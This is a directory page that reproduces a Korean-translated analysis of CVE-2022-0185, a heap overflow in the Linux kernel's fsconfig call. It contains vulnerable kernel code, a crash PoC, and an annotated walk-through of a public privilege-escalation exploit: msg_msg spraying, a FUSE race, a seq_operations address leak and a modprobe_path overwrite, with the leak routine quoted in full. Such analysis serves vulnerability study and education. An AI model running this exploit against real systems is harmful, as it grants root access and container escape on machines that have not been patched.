Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-0185 — CVE-2022-0185 POC 및 Docker 분석 라이트업 | Kitploit
도구/GitHubGitHub/chenaotian/cve-2022-0185
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationContainer EscapeBinary ExploitationLabs & Practice
GitHubchenaotian/cve-2022-0185

CVE-2022-0185

CVE-2022-0185 POC 및 Docker 분석 라이트업

저장소 보기
37124년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-0185 리눅스 커널 권한 상승(이스케이프)

[toc]

취약점 개요

취약점 번호: CVE-2022-0185

취약점 점수:

취약점 제품: linux kernel - fsconfig syscall

영향 범위: linux kernel 5.1-rc1 ~ 5.16.2

이용 조건: linux 로컬; CAP_SYS_ADMIN cap 권한 보유(unshare로 직접 획득 가능, 제한 없음)

이용 효과: 로컬 권한 상승; 컨테이너 이스케이프

소스 코드 획득: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1

또는 https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/

환경 구축

디버깅 환경

5.X 커널 컴파일 환경 docker : chenaotian/kernelcompile

취약점 분석 docker:chenaotian/cve-2022-0185

  • 두 가지 커널 준비: 배포판 하나, 직접 컴파일한 하나

    • 다운로드한 배포판 커널 5.11.0-44: exp 분석 디버깅에 사용 (배포판 커널은 크래시되지 않음)
    • 기호가 포함된 컴파일된 5.13: poc 기호 디버깅에 사용
  • qemu, gdb, gdb-peda 등 설치

  • 취약점 관련 파일은 /root/cve-2022-0185에 있음

    • boot_exp.sh: exp 검증 디버깅 환경 실행, 배포판 5.11.0-44 기호 없는 커널
    • boot_poc.sh: poc 검증 환경 실행, 커널 크래시 가능, exp 실행 불가, 자체 컴파일 5.13 기호 있는 커널
    • exp 디렉토리, exp 소스 코드(저자: BitsByWill), exploit_fuse 직접 컴파일.

qemu 환경:https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp

ubuntu20.04 검증 환경

ubuntu 20.04 가상 머신 exp 실행 환경: 원저자 exp 실행

ubuntu20.04 가상 머신 준비 후 커널 교체:```shell apt-get install linux-image-5.11.0-44-generic

grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以

#编译exp make fuse ./exploit

root@kitploit:~
권한 상승 효과

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## 취약점 원리

취약점이 발생하는 시스템 호출은 `fsconfig`의 `FSCONFIG_SET_STRING` 작업 옵션입니다. 이 시스템 호출은 이미 열린 파일 시스템 컨텍스트에 대한 일부 구성을 수행하는 데 사용됩니다. **필요한 전제 조건은 `CAP_SYS_ADMIN` cap 권한을 보유하는 것입니다**:

> `fsopen`의 주요 목적은 파일 시스템 컨텍스트를 생성한 다음 파일 디스크립터와 연결하여 파일 디스크립터를 반환하는 것입니다. `fsopen` 다음에는 `fsconfig`가 옵니다. 이름에서 알 수 있듯이 위에서 `fsopen`을 통해 파일 시스템 컨텍스트를 생성했고, 아래의 `fsconfig`는 파일 시스템 컨텍스트의 내용을 구성하는 데 사용될 것입니다. 실제로 `fsconfig`는 주로 이 구성 작업을 수행하며, 파일 시스템 컨텍스트 외에도 다른 작업도 지원합니다.

### 취약점 발생 지점

먼저 취약점은 `legacy_parse_param` 함수에서 발생합니다:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

핵심은 이후의 memcpy가 우리가 전달한 param->string을 ctx->legacy_data에 복사한다는 점입니다. 복사 범위 초과 여부는 앞의 (len > PAGE_SIZE - 2 - size) 검사에서 판단되는데, 이 검사에 문제가 있습니다. 검사 타입은 size_t, 즉 unsigned int입니다. 만약 size > PAGE_SIZE - 2라면 정수 오버플로우 반전이 발생하여 len < PAGE_SIZE - 2 - size가 되고, 결과적으로 검사를 통과하게 됩니다. 이후 복사 시 size가 PAGE_SIZE - 2보다 크기 때문에 복사 범위 초과가 발생합니다.

사용된 일부 데이터 구조:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };

struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };

struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };

root@kitploit:~
### 호출 경로

이제 함수 호출 스택을 분석해 보겠습니다. 먼저 진입점은 확실히 `fsconfig` 시스템 호출입니다:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

fsconfig 시스템 호출의 진입점에서 먼저 파일 디스크립터 fd를 기반으로 파일 시스템 컨텍스트 구조체 fc를 초기화하고, 그런 다음 사용자가 전달한 인수를 기반으로 param 구조체를 설정합니다. 이 구조체 변수는 나중에 취약점이 발생하는 함수 legacy_parse_param에서 사용되는 param입니다. 그런 다음 vfs_fsconfig_locked 함수로 진입합니다:

linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;

root@kitploit:~
ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

}

root@kitploit:~
먼저 `finish_clean_context` 함수를 호출합니다. 여기서 `legacy_init_fs_context` 함수를 호출하여 콜백 함수 테이블을 등록합니다. 이 콜백 함수 테이블에는 취약점이 있는 함수 `legacy_parse_param`이 포함됩니다.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

등록이 끝난 후, vfs_parse_fs_param 함수에 진입하여 매개변수를 처리합니다. 여기서는 방금 등록된 콜백 함수, 즉 취약점 함수를 호출합니다.

linux-5.11\fs\fs_context.c : 98 : vfs_parse_fs_param```c int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { ··· ···

root@kitploit:~
if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

} EXPORT_SYMBOL(vfs_parse_fs_param);

root@kitploit:~
전체 미리보기는 다음과 같습니다

- SYSCALL_DEFINE5(fsconfig,... : 시스템 호출 진입
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : 콜백 함수 테이블 등록
    - vfs_parse_fs_param
      - legacy_parse_param : 취약점

## 취약점 재현 POC

취약점 재현 poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

정적 컴파일 후 파일 시스템에 패키징하여 qemu로 커널을 부팅합니다.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh

root@kitploit:~
다른 터미널에서 gdb 원격 디버깅 사용:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

第一次调用的时候:

legacy_data 还没初始化:

image-20220218115424519

会在后面调用kmalloc 初始化,之后会将输入字符串拷贝到legacy_data 中。函数返回时已经将第一个字符串拷贝过去了,会在前面加上',=' ,长度为0x69。

image-20220218115629610

由于我们是分多次调用fsconfig 来进行字符串拷贝。每次传入 0x67 个'A' ,加上legacy_parse_param 函数会在前面加上',=' ,所以每次拷贝长度为0x69,拷贝39次之后legacy_data 的长度就会到达0xfff,拷贝39次之后,断住查看:

image-20220218120003864

发现目前legacy_data 的data_size 已达到 0xfff

image-20220218143242019

在kmalloc 申请的0x1000 大小内存空间也马上要达到极限。查看漏洞发生处:

image-20220218143643847

0x68 小于反转后的 0xffff....,校验通过,拷贝之后直接越界,覆盖了后面的内存内容:

image-20220218143840967

然后继续运行之后内核崩溃:

image-20220218144210566

[원본] 취약점 익스플로잇 EXP

exp 저자의 wp에 따르면 : CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. 그는 총 두 가지 익스플로잇 방식을 구현했습니다. ubuntu 20.04 커널 버전 5.11.0-44에서의 권한 상승 익스플로잇과 구글 KCTF에서 현상금을 획득한 익스플로잇 방식입니다. 여기서는 주로 ubuntu 20.04 커널 버전 5.11.0-44에서의 익스플로잇을 분석합니다.

사전 지식

msg_msg 임의 주소 읽기/쓰기

해당 exp 저자는 이 익스플로잇 방법을 두 개의 ctf 문제로 출제한 적이 있습니다. corCTF 2021의 fire_of_salvation 과 wall_of_perdition 입니다. 오버플로우 또는 UAF 조작을 통해 메시지 헤더 구조체 msg_msg 를 덮어써서 임의 주소 읽기/쓰기를 수행합니다. 여기서는 이 익스플로잇 방법을 아주 자세히 분석하지는 않고, 문제에서 사용된 부분만 분석합니다.

msgsnd 와 msgrcv 는 커널에서 프로세스 간 통신을 위한 메시지 송수신 함수입니다. 대략적인 로직은 메시지를 커널로 보내면 커널이 해당 메시지 큐를 유지하고, 메시지를 수신할 때 메시지 큐에서 꺼내는 방식입니다.

msgsnd 소스 코드 정의, 주요 기능은 do_msgsnd 에 의해 수행됩니다:

linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;

root@kitploit:~
··· ···
//后面代码将msg 添加到消息队列。    
··· ···

}

long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }

root@kitploit:~
`do_msgsnd`가 허용하는 최대 메시지 길이는 8192입니다:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

그런 다음 `load_msg` 함수를 중점적으로 분석해야 합니다. `load_msg` 함수에서 `alloc_msg` 함수를 사용하여 메모리 공간을 할당하고 메시지 구조를 구성하기 때문입니다. 여기서 먼저 `alloc_msg` 함수를 분석합니다:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

여기서는 메시지의 길이에 따라 메시지를 분할합니다. 메시지 길이 + 메시지 헤더 길이가 한 페이지(4k)보다 크면 분할 저장됩니다. 첫 번째 세그먼트는 메시지 헤더 + 메시지 세그먼트 1이고, 메시지 헤더에는 두 번째 세그먼트를 가리키는 포인터가 있습니다. 두 번째 세그먼트는 메시지 세그먼트 헤더 + 메시지 세그먼트 2... 앞서 언급한 메시지 최대 길이가 8192이므로 메시지는 최대 3개의 세그먼트로 나뉩니다. 각 세그먼트의 최대 길이는 한 페이지(4k)이고, 최소한 메시지 헤더 길이 0x30을 포함해야 하므로 우리가 제어할 수 있는 힙 할당 크기 범위는 kmalloc-64 ~ kmalloc-4k입니다. 여기서 메시지 헤더 구조체와 메시지 세그먼트 헤더 구조체는 다음과 같습니다.```c struct msg_msg {//消息头结构体 struct list_head m_list; //两个指针 long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void security; / the actual message follows immediately */ }; struct msg_msgseg { struct msg_msgseg next; / the next part of the message follows immediately */ };

root@kitploit:~
따라서 메시지 구성 구조는 다음과 같습니다:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

메시지는 메시지 큐에 존재하며, 이중 연결 리스트로 관리됩니다. 메시지 자체는 여전히 분할 저장되며, 단일 연결 리스트로 연결됩니다. 각 세그먼트의 전체 길이는 최대 한 페이지(4k)입니다. 이제 `do_msgsnd` 함수를 분석합니다:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝,这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

이후 부분은 메시지의 분할 상황에 따라 사용자 공간에서 순서대로 복사하면 됩니다.

다음으로 메시지 수신 함수 msgrcv를 살펴보겠습니다. 마찬가지로 주요 로직은 do_msgrcv 함수에 있습니다. 여기서 작은 세부 사항을 언급하지만 자세히 분석하지는 않습니다.

linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t)) { ··· ··· if (msgflg & MSG_COPY) { if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT)) return -EINVAL; copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息 return PTR_ERR(copy); } ··· ··· for (;;) { ··· ··· msg = find_msg(msq, &msgtyp, mode); if (!IS_ERR(msg)) { ··· ··· if (msgflg & MSG_COPY) { msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中 goto out_unlock0; } ··· ··· }
··· ··· } ··· ··· bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户 free_msg(msg); //释放消息备份

root@kitploit:~
return bufsz;

}

root@kitploit:~
在`msgflg`에 `MSG_EXCEPT` 플래그가 설정된 경우(기본 설정, 컴파일 옵션 `CONFIG_CHECKPOINT_RESTORE`), 백업 메시지 전송이 사용됩니다. 구체적인 로직은 먼저 메시지 구조를 백업 메시지로 할당하고, 메시지를 찾은 후 백업 메시지에 복사한 다음 사용자 공간으로 전송한 후 백업 메시지를 해제합니다. **이렇게 하면 원본 메시지는 큐에서 unlink되지 않습니다**. 우리가 원하는 것은 바로 "원본 메시지를 큐에서 `unlink`하지 않는 동작"입니다. 오버플로우 시 메시지 헤더의 이중 연결 리스트 포인터를 덮어쓸 수 있기 때문에 `unlink`가 발생하면 크래시가 발생하므로, 이는 바람직하지 않은 결과입니다.

지식 포인트는 대략 이 정도이며, 관련된 활용 기법은 다음과 같습니다:

- `msgsnd` 함수를 사용하여 `kmalloc-64` ~ `kmalloc-4k` 범위에서 스프레이 작업 수행(전통적인 기술)
- `msg_msg` 헤더의 `m_ts` 멤버를 덮어쓸 수 있다면 메시지 길이가 변경되어 경계를 넘어 읽을 수 있음(새로운 기술)
- **load_msg 과정에서** `msg_msg` 헤더의 `struct msg_msgseg *next` 멤버를 덮어쓸 수 있다면 임의 주소 읽기/쓰기가 가능하며, 이는 일반적으로 `userfaulted` 경쟁 조건을 활용하지만 최신 커널에서는 사용자 공간에서 `userfaulted`를 호출할 수 없습니다. 여기서는 새로운 방법을 사용합니다.

#### userfaulted의 대체

위에서 분석한 `load_msg` 함수에 따르면, `alloc_msg`가 메시지 메모리를 할당한 후 사용자 공간에서 메시지를 복사합니다. 메시지가 비교적 긴 세그먼트 메시지인 경우 세그먼트별로 복사해야 합니다. 첫 번째 세그먼트를 복사할 때 페이지 폴트가 발생하여 복사 작업이 예외 처리 완료를 기다리도록 중단될 수 있으며, 이때 오버플로우를 이용하여 `msg_msg`의 `msg_msgseg *next` 포인터를 덮어씁니다. 예외 처리가 완료되어 돌아와 두 번째 세그먼트를 계속 복사할 때, 지정된 주소에 임의의 내용을 덮어쓰게 됩니다(임의 주소 쓰기).

일반적으로 이를 위해 사용자 공간 페이지 폴트 처리 함수를 등록해야 하지만, 최신 버전에서는 비특권 상태에서 `userfaulted` 시스템 호출을 호출할 수 없습니다. 여기서 제공하는 새로운 방법은 `fuse` 사용자 공간 파일 시스템입니다. `fuse`를 사용하여 사용자 공간 파일 시스템을 등록하면 자체 `read`, `write` 등의 함수를 가질 수 있으며, 페이지 폴트가 발생해도 사용자 공간으로 돌아와 인터럽트를 처리합니다.

참고할 점은 fuse 자체에는 정적 컴파일 라이브러리가 없다는 것입니다. BitsByWill과 D3v17이 이를 일부 다듬어 dlopen 등을 제거하고 정적 컴파일이 가능한 libfuse3.a를 만들었습니다. BitsByWill과 D3v17에게 감사합니다.

[참고](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### 주소 누출

여기서는 kernel pwn의 일반적인 작업으로, `seq_operations` 구조체를 사용하여 주소를 누출합니다. 이 구조체는 모두 함수 포인터로 구성되어 있습니다:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

具体就是打开/proc/self/stat 的时候,会调用 single_open 函数,初始化seq_operations 结构:```c int single_open(struct file *file, int (*show)(struct seq_file *, void *), void *data) { struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT); int res = -ENOMEM;

root@kitploit:~
if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

··· ··· }

root@kitploit:~
`single_open` 구조의 함수 포인터를 모두 커널 함수로 초기화하면, 하나라도 누출되면 커널 베이스 주소를 누출할 수 있습니다.

#### 권한 상승

kernel pwn의 전통 기법인 `modprobe_path`는 커널 내의 문자열로, 경로를 가리키며 기본값은 `/sbin/modprobe`입니다.```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

실행 시 인식할 수 없는 형식의 파일이 있을 때 modprobe_path가 가리키는 파일을 실행합니다. 이는 커널이 실행하므로 root 권한이며, 일반적으로 이 문자열을 수정할 수 있다면 권한 상승에 성공한 것으로 간주합니다.

exp 분석(원본)

여기서는 exp를 실행할 수 있는 환경을 컴파일하지 못했습니다(제가 부족해서). apt로 설치된 5.11.0-44-generic의 vmlinuz를 복사해서 사용했고, qemu로 부팅한 후 실제로 조정할 수 있었습니다. 아마 cap 부분이나 fuse가 제대로 설정되지 않아서, 비-root 사용자로 exp를 실행하면 몇 가지 문제가 있을 수 있습니다. 그래서 qemu 디버깅 시 root 사용자로 exp를 실행했습니다. 어차피 exp는 커널 내부의 modprobe_path를 수정하는 것이니까요.

exp를 얻으려면 작성자 github에 직접 접속하세요. ubuntu20 환경에서 컴파일 가능하며, 여기서는 분석, 디버깅, 검증만 수행했습니다.

exp 구조:

CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···

root@kitploit:~
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

}

root@kitploit:~
exp는 주로 두 부분으로 나뉘는데, 각각 유출(leak)과 임의 주소 쓰기입니다.

#### 커널 기본 주소 유출

이 exp의 유출 부분은 매우 교묘하게 설계되었습니다. 먼저 오버플로우를 사용하여 사용되지 않는 부분을 덮어쓴 후, 그런 다음 오버플로우로 덮어쓸 구조체를 할당하여 의도하지 않은 부분을 손상시키지 않고, 이어서 정확하게 대상만 덮어쓰기 위해 오버플로우를 계속 진행합니다.

주로 `do_leak` 함수입니다

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列,每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
     *刚好覆盖m_ts,修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
